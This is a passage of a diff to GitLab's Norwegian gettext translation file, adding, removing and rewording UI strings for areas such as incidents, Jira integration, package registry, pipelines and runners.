+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr "Alle"
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,11 +17791,11 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
-msgstr "Inkluderer commit-tittelen og grenen"
+msgid "Integrations|Includes commit title and branch."
+msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17580,7 +17872,7 @@ msgstr "Bruk tilpassede innstillinger"
msgid "Integrations|Use default settings"
msgstr "Bruk forvalgte innstillinger"
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr "Saksanalyse"
msgid "Issue Boards"
msgstr "Problemvegger"
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr "Status"
msgid "IssueAnalytics|Weight"
msgstr "Vektlegging"
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr "Tilpasset sakssporer"
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr "Saker lukket"
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,15 +18613,15 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
+msgid "I’m joining my team who’s already on GitLab"
+msgstr ""
+
msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
msgstr "Jaeger-URL"
-msgid "Jaeger tracing"
-msgstr "Jaeger-sporing"
-
msgid "Jan"
msgstr "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr "Jira API-URL"
msgid "JiraService|Jira Issues"
msgstr "Jira-saker"
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr "Nett-URL"
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr "Jobben ble forsøkt på nytt"
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr "Jobber"
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr "med"
msgid "Join Zoom meeting"
msgstr "Bli med på Zoom-møte"
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr "Nøkkel: %{key}"
msgid "Keyboard shortcuts"
msgstr "Tastatursnarveier"
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr "Nøkler"
@@ -18756,6 +19123,9 @@ msgstr "Kubernetes-klyngeintegrering ble vellykket fjernet."
msgid "Kubernetes cluster was successfully updated."
msgstr "Kubernetes-klynge ble vellykket oppdatert."
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr "Tips"
-
msgid "Lead Time"
msgstr "Ledetid"
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr "Lær GitLab"
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr "Let's Encrypt er en gratis, automatisert og åpen sertifikatmyndighet (CA) som gir digitale sertifikater for å kunne aktivere HTTPS (SSL/TLS) på nettsteder. Lær mer om Let's Encrypt-oppsett ved å følge %{docs_link_start}dokumentasjonen på GitLab Pages%{docs_link_end}."
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr "Lisens"
@@ -19705,8 +20078,8 @@ msgstr "Gjør denne saken konfidensiell."
msgid "Manage"
msgstr "Administrer"
-msgid "Manage Web IDE features"
-msgstr "Administrere Web IDE-funksjoner"
+msgid "Manage Web IDE features."
+msgstr ""
msgid "Manage access"
msgstr "Administrer tilgang"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr "Maks-siden har blitt nådd"
msgid "Maximum push size (MB)"
msgstr "Maksimal pushstørrelse (MB)"
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr "Maksstørrelsesgrense for én enkelt commit."
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr "Minneforbruk"
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr "Flett"
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr "Fletteforespørsel"
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr "Fletteforespørsel %{iid} skapt av %{authorName}"
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr "Fletteforespørselen %{mr_link} ble gjennomgått av %{mr_author}"
@@ -20587,10 +20966,10 @@ msgstr "Kontrollpanel-tidssone"
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr "Utvid panel"
msgid "Metrics|For grouping similar metrics"
msgstr "For gruppering av lignende metrikker"
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr "Microsoft Azure"
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr "Modifiser innflettings-commiten"
msgid "Monday"
msgstr "Mandag"
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr "Overvåk feilene dine ved å integrere med Sentry."
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr "Navnet på nytt stempel"
@@ -21451,9 +21845,6 @@ msgstr "Beskrivelse"
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr "Redigeringsmodus"
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr "YAML-redigerer"
-
msgid "NetworkPolicies|all DNS names"
msgstr "alle DNS-navn"
@@ -21903,7 +22291,7 @@ msgstr "Ingen commiter er til stede her"
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr "Ingen data funnet"
msgid "No data to display"
msgstr "Ingen data å vise"
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr "Ingen"
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr "Ikke implementert"
@@ -22469,6 +22863,9 @@ msgstr "Ã… nei!"
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr "Eldste øverst"
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr "Pakketypen må være Conan"
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr "Pakketypen må være Maven"
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr "Legg til NuGet-kilde"
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr "Kopier Maven-XML"
@@ -23104,6 +23510,9 @@ msgstr "Kopier Pip-kommando"
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr "Maven"
msgid "PackageRegistry|Maven Command"
msgstr "Maven-kommando"
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr "NuGet"
@@ -23227,6 +23651,9 @@ msgstr "Fjern pakke"
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr "Sider"
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr "GÃ¥ til neste side"
msgid "Pagination|Go to previous page"
msgstr "GÃ¥ til forrige side"
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr "Siste »"
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr "Passord"
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr "Passord (frivillig)"
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "Totalt:"
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr "API"
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr "Mer informasjon"
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr "Vennligst angi et navn"
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr "Vennligst skriv inn en gyldig URL"
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr "Vennligst velg en gruppe."
msgid "Please select a valid target branch"
msgstr "Vennligst velg en gyldig målgren"
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr "Vennligst velg og legg til et medlem"
@@ -24250,6 +24749,9 @@ msgstr "Vennligst velg minst ett filter for å se resultatene"
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr "Vennligst bestem et nytt passord før du fortsetter."
@@ -24283,9 +24785,6 @@ msgstr "Vennligst vent mens vi kobler til kodelageret ditt. Oppdater når du vil
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr "Vennligst vent mens vi importerer kodelageret ditt. Oppdater når du vil."
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr "Podden finnes ikke"
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr "Forhåndsvisning"
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr "Forhåndsvis Markdown"
@@ -24823,8 +25328,8 @@ msgstr "Private bidrag"
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
-msgstr "Offentlig avatar"
+msgid "Profiles|Public avatar"
+msgstr ""
msgid "Profiles|Public email"
msgstr "Offentlig e-post"
@@ -25081,6 +25586,9 @@ msgstr "Prosjektet har for mange %{label_for_message} til å søkes i"
msgid "Project info:"
msgstr "Prosjektinfo:"
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr "Prosjekter å indeksere"
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr "Blank"
-
-msgid "ProjectsNew|Blank project"
-msgstr "Blankt prosjekt"
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr "Opprett"
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr "Opprett blankt prosjekt"
@@ -25795,9 +26294,6 @@ msgstr "Opprett fra mal"
msgid "ProjectsNew|Create new project"
msgstr "Opprett nytt prosjekt"
-msgid "ProjectsNew|Creating project & repository."
-msgstr "Oppretter prosjektet og kodelageret."
-
msgid "ProjectsNew|Description format"
msgstr "Beskrivelsesformat"
@@ -25813,21 +26309,18 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr "Start i gang kodelageret med en README"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgstr ""
+
msgid "ProjectsNew|No import options available"
msgstr "Ingen importalternativer er tilgjengelige"
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
-msgstr "Vennligst vent et øyeblikk, denne siden vil automatisk oppfriskes når det er klart."
-
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
msgstr "Prosjektbeskrivelse %{tag_start}(valgfritt)%{tag_end}"
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr "Kjør CI/CD for et eksternt kodelager"
-msgid "ProjectsNew|Template"
-msgstr "Mal"
-
msgid "ProjectsNew|Visibility Level"
msgstr "Synlighetsnivå"
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr "Sett opp på nytt"
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr "Gjenoppretter prosjekter"
@@ -26587,6 +27077,9 @@ msgstr "Gjenopprettingskoder"
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr "Fjern sekundærnode"
msgid "Remove spent time"
msgstr "Fjern brukt tid"
-msgid "Remove stage"
-msgstr "Fjern trinn"
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr "Fjern bruker fra gruppe"
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr "Fjernet"
@@ -27879,6 +28372,18 @@ msgstr "Runners|Navn"
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr "Runners|Plattform"
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr "Sett opp"
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
